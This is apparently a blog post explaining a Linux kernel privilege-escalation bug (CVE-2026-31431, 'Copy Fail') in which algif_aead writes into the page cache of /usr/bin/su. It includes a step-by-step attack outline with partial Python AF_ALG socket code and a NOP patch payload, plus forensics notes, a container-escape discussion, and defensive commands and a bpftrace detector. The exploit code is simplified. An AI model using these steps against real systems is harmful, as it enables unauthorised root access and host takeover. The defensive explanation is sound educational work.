Summary
The Invisible Hack: How a Linux Bug Lets Anyone Become Root — Without Leaving a Single Trace A deep dive into CVE-2026–31431 — the vulnerability that breaks the most fundamental rule of computer security: that what’s on disk is what runs. Imagine you hire a security guard for your house. You hand him a rulebook. Every night, he reads from that rulebook to decide who gets in. Now imagine someone sneaks in during the day — not to steal anything — but just to rewrite a single sentence in that rulebook. That night, the guard reads the new rules and lets the attacker walk straight through the front door. The house looks untouched. The original rulebook on your shelf is exactly as you left it. Your security cameras show nothing. Your alarm never triggered. This is CVE-2026–31431. 🔴 What Is This Vulnerability? CVE-2026–31431, nicknamed “Copy Fail”, is a critical Linux kernel vulnerability with a CVSS score of 9.8 out of 10. It allows a completely normal, unprivileged user to silently elevate themselves to root — the highest level of system control — by exploiting a memory handling bug in the Linux kernel’s cryptography module. What makes it terrifying is what it doesn’t do:
- ❌ It doesn’t modify any file on disk
- ❌ It doesn’t trigger any system log
- ❌ It doesn’t require precise timing or luck
- ❌ It doesn’t need any special permissions It works every single time, and when the system reboots, every trace vanishes — because it all happened in RAM. 🧠 Before We Go Deep — Two Concepts You Must Know Concept 1: The Page Cache Linux is obsessive about speed. When it reads a file from your hard drive, it immediately stores a copy of that file in RAM. This copy is called the page cache. The next time that file is needed, Linux skips the disk entirely and serves it from RAM — much faster. Think of it this way: 📚 Disk = The original book on the library shelf 📄 Page Cache = The photocopy on your desk 🧠 CPU = You, reading from the photocopy Here’s the critical insight: the CPU executes programs from the page cache, not from disk. So if you could modify that photocopy without anyone noticing… the CPU would execute your modified version. The original book on the shelf would remain untouched and unchanged. That is exactly what this bug enables. Concept 2: SetUID Binaries Linux has a special file permission called SetUID. When a program has this flag, it runs with the owner’s permissions — regardless of who launches it. The most famous SetUID binary is /usr/bin/su — the “Switch User” command. Its owner is root . So when any user runs it, it temporarily executes as root. ls -l /usr/bin/su -rwsr-xr-x 1 root root 68208 /usr/bin/su
^
‘s’ = SetUID flag. This binary runs as root for everyone.
Its job is simple — ask for a password, verify it, then grant root access if correct: if (password_correct()) { give_root_access(); // ← the prize } else { deny_access(); } The attacker’s goal: make the password check disappear entirely. 🐛 The Bug — Where Everything Goes Wrong The vulnerability lives inside algif_aead — a Linux kernel module that handles a type of encryption called AEAD (like AES-GCM, used in HTTPS, VPNs, and more). Normally, when this module processes data, it copies the output into a safe, isolated memory buffer: // What SHOULD happen: destination = safe_output_buffer; // ✅ correct location memcpy(destination, user_data, size); // ✅ data safely written But due to a pointer miscalculation in the kernel, it sometimes writes to the wrong address: // What ACTUALLY happens (the bug): destination = buffer + WRONG_OFFSET; // ❌ wrong pointer! memcpy(destination, user_data, size); // ❌ data lands in page cache That “wrong address”? It points straight into the page cache — the in-memory copy of /usr/bin/su . The attacker doesn’t “hack” the kernel. They simply send data to the crypto module and let the kernel’s own bug do the writing for them. 💥 What Changes? Just 2 Bytes. The binary /usr/bin/su contains x86-64 machine code. The password check, at the assembly level, looks something like this: cmp eax, 0 ; did auth succeed? (0 = yes) jne 0x1234 ; if NOT equal (fail) → jump to deny call give_root ; otherwise, give root The jne instruction — “Jump if Not Equal” — is what causes auth failure. In hex, it’s just 2 bytes: 75 05 . The attacker replaces those 2 bytes with 90 90 — two NOP (No Operation) instructions: cmp eax, 0 ; same check (still there) 90 90 ; NOP NOP ← the jump is GONE call give_root ; CPU falls straight through to here NOP tells the CPU: do nothing and continue forward. The authentication check is still in the code — but it no longer matters. The CPU skips past it and calls give_root() unconditionally. Two bytes. That’s all. 🎯 The Full Attack — Step by Step Let’s walk through exactly what an attacker does. Step 0: Start with Nothing Special whoami && id
uid=1000(attacker) gid=1000(attacker)
Just a regular user. No sudo. No special groups.
uname -r
6.1.0-generic ← vulnerable kernel confirmed
Step 1: Load the Target into Memory cat /usr/bin/su > /dev/null
This forces the kernel to read su into the page cache ✓
Step 2: Study the Binary objdump -d /usr/bin/su | grep -A 20 ‘auth|pass|check’
Find the exact offset of the conditional jump instruction
Step 3: Open the Crypto Interface import socket sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0) sock.bind((‘aead’, ‘gcm(aes)’, 0, 16)) sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b’A’ * 16)
We now have a handle to the kernel’s crypto module
Step 4: Send the Payload payload = b’\x90\x90’ # NOP NOP — 2 bytes to replace the jump conn = sock.accept() conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, …)])
Kernel processes the request, bug triggers, page cache is overwritten
Step 5: Become Root su
Password: (anything at all — doesn’t matter)
root@victim:/# ← DONE. The password check in RAM now reads as NOP. The CPU never jumps to “deny”. It falls straight through to give_root() . You are root. 🕵️ The Forensics Nightmare Here’s what makes this vulnerability uniquely insidious. Get Krish Gupta’s stories in your inbox Join Medium for free to get updates from this writer. After the attack, a forensic analyst arrives. They run every standard check: sha256sum /usr/bin/su
d8a3f… same as the original ← disk was never touched
diff /usr/bin/su /backup/su
(no output) ← no difference foundgrep -r suspicious /var/log/
(nothing)cat /var/log/auth.log | grep su
Normal entries only
Everything looks clean. No file was modified. No log was written. No alarm was triggered. Because the attack happened in RAM, and RAM is wiped on reboot — within minutes of a system restart, the attack is forensically undetectable by conventional means. Detection Method Does It Work? File hash (sha256sum) ❌ Disk is identical File modification time ❌ Disk untouched auditd file write logs ❌ No disk write occurred Real-time /proc memory watch ✅ If you’re already watching eBPF kernel monitoring ✅ Syscall-level detection RAM dump (LiME) ✅ Complex, but possible 📦 Container Escape — One Bug, Entire Host Compromised This is where things escalate from “serious” to “catastrophic.” Containers are supposed to be isolated. But here’s the thing: containers share the kernel with the host. And the page cache? That’s kernel memory — shared across all containers and the host itself. Host Kernel ├── Container 1 (isolated user space) │ └── 👿 Attacker is here ├── Container 2 └── Host Processes Page Cache: SHARED between EVERYTHING ↑ An attacker inside a container can read the host’s /usr/bin/su . Because page cache is shared, the host’s copy of that binary is accessible in RAM. They trigger the bug — and the host’s RAM binary is now modified. Next time someone runs su on the host machine: Host root@victim:/# ← entire host compromised Docker. Podman. LXC. Kubernetes (shared nodes). All affected if the host kernel is vulnerable. “Containers isolate user space, not kernel memory like page cache.” 🆚 Why This Is Worse Than DirtyCow and DirtyPipe You might have heard of DirtyCow (2016) — one of the most famous Linux privilege escalation bugs ever found. CVE-2026–31431 makes it look tame. DirtyCow DirtyPipe Copy Fail Race Condition? ❌ Required Minimal ✅ None — direct write Disk Safe? ❌ Modifies disk ✅ RAM only ✅ RAM only Container Escape? Partial Yes ✅ Yes — shared cache Reliability Medium High ✅ Very High Copy Fail is the first of its class to combine all three: stealth + reliability + container escape. 🛡️ How to Defend Your Systems
- Update Your Kernel (Best Fix)
Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r) sudo reboot
RHEL / CentOS
sudo yum update kernel && sudo reboot 2. Disable the Vulnerable Module If you cannot update immediately, disable algif_aead :
Temporary (until reboot)
sudo modprobe -r algif_aead
Permanent
echo ‘install algif_aead /bin/false’ |
sudo tee /etc/modprobe.d/disable-algif-aead.conf
3. Real-Time Detection with eBPF
sudo bpftrace -e ’
kprobe:algif_aead_sendmsg {
printf(“ALERT: algif_aead called by PID %d (UID %d)\n”, pid, uid);
}
’
Any unexpected calls to this kernel function should raise an immediate alert.
4. Container Hardening
Block AF_ALG in Docker via seccomp
docker run —security-opt seccomp=custom-profile.json my-image Also: use gVisor for kernel isolation, avoid privileged containers, apply Kubernetes restricted Pod Security Standards. Defense Checklist
- Update kernel to patched version immediately
- Disable algif_aead if not needed by your workloads - [ ] Enable eBPF / Falco real-time monitoring
- Update container seccomp profiles to block AF_ALG
- Add memory-based binary integrity checks to your pipeline
- Review your incident response runbook for RAM-based attacks 🧩 The One-Liner That Explains Everything CVE-2026–31431’s crypto module ( algif_aead ) has a memory copy bug that causes attacker-controlled data to land in the page cache instead of the safe output buffer — silently modifying a SetUID binary in RAM — allowing any local user to gain root access without leaving a single trace on disk. 💬 Final Thoughts CVE-2026–31431 is a reminder that some of the most dangerous attacks in computer security aren’t loud. They don’t crash your system. They don’t trip your alarms. They don’t leave fingerprints. They just quietly rewrite a sentence in the rulebook — while you’re not looking. The truly scary part? This class of attack — RAM-only, forensics-resistant, race-condition-free — is likely to become more common. As defenses get better at watching disk and network activity, attackers move to memory. The battlefield is shifting. Understanding how attacks like this work is the first and most important step to defending against them. If you made it this far — you now know more about Linux kernel internals than most developers who ship production software. Stay curious. Stay paranoid. Patch your kernels. 📎 Resources 📁 Full Technical Report + README: github.com/krish-foren6/CVE-2026–31431-Report-Copy-fail-Vulnerability- The repository includes the complete vulnerability documentation, attack flow breakdown, defense commands, and a detailed glossary — in both English and Hinglish editions. 🔗 Connect with the author: linkedin.com/in/krish-gupta-bb73a72a0 If you’re into Linux security, kernel internals, or ethical hacking — let’s connect. Always happy to discuss, collaborate, or just geek out about low-level security research. If this post helped you understand something you didn’t before, consider sharing it with someone who’s learning security. The more people understand how attacks work, the harder those attacks become. Clap 👏 if it was worth your time — it genuinely helps more people find this. Tags: Linux Cybersecurity Kernel CVE Ethical Hacking InfoSec Privilege Escalation Memory Security Linux Kernel Penetration Testing